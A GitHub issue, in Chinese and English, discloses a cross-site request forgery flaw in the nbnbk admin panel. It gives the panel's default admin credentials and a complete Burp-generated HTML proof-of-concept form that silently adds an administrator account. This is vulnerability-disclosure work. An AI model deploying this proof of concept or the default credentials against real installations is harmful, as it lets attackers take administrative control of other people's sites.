Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

🛡️ CSRF Add Background User in nbnbk #2

Open
en0th opened this issue Mar 2, 2022 · 0 comments
Open

🛡️ CSRF Add Background User in nbnbk #2

en0th opened this issue Mar 2, 2022 · 0 comments

Comments

@en0th
Copy link

en0th commented Mar 2, 2022

nbnbk 存在 CSRF 添加后台用户

CSRF Add Background User in nbnbk

该漏洞可以通过 CSRF 的方式，无需知道管理员账号密码进入后台，即可在没有痕迹的添加管理员账户。
漏洞存在版本：default

This vulnerability can be accessed via CSRF to add an administrator account without knowing the administrator account password to the background.

Vulnerability Existing Version: default

具体实现

Specific implementation

http://nbnbk:8888/fladmin/login

通过打开 /fladmin/login 路径进入后台登陆界面
Enter the background login interface by opening/fladmin/login path

image-20220301135432073

使用默认密码 admin888/123456 进入后台，找到用户管理列表里的 “管理员” 界面中的 “添加管理员” 功能点
Use the default password admin888/123456 to enter the background and find the Add Administrator function point in the Administrator interface in the User Management List

image-20220301135601117

随意输入用户名和密码，点击保存。
Enter your username and password at will and click Save.

image-20220301135937607

在 bp 查看请求数据包，然后通过 bp 生成 CSRF POC 代码。

复制后在本地新建文件，通过 python -m http.server 8099 开启本地的 web 服务。

View the request packet in BP and generate the CSRF POC code from bp.

Create a new file locally after copying, via python-m http. Server 8099 Opens a local web service.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://nbnbk:8888/fladmin/admin/add" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="name" value="admin" />
      <input type="hidden" name="pwd" value="123456" />
      <input type="hidden" name="email" value="" />
      <input type="hidden" name="role&#95;id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

image-20220301140411778

点击 submit request 提交请求
Click submit request to submit the request

image-20220301140436292

点击后提示添加成功
Hint to add success after clicking

image-20220301140544321

image-20220301140615422

查看我们的请求数据包
View our request packet

image-20220301140724900

Origin 和 referer 是我们自己的服务。CSRF 添加管理员账号报告到此结束。
Origin and referer are our own services. This concludes the CSRF Add Administrator Account report.
@en0th en0th changed the title CSRF Add Background User in nbnbk 🛡️ CSRF Add Background User in nbnbk Mar 4, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
1 participant
@en0th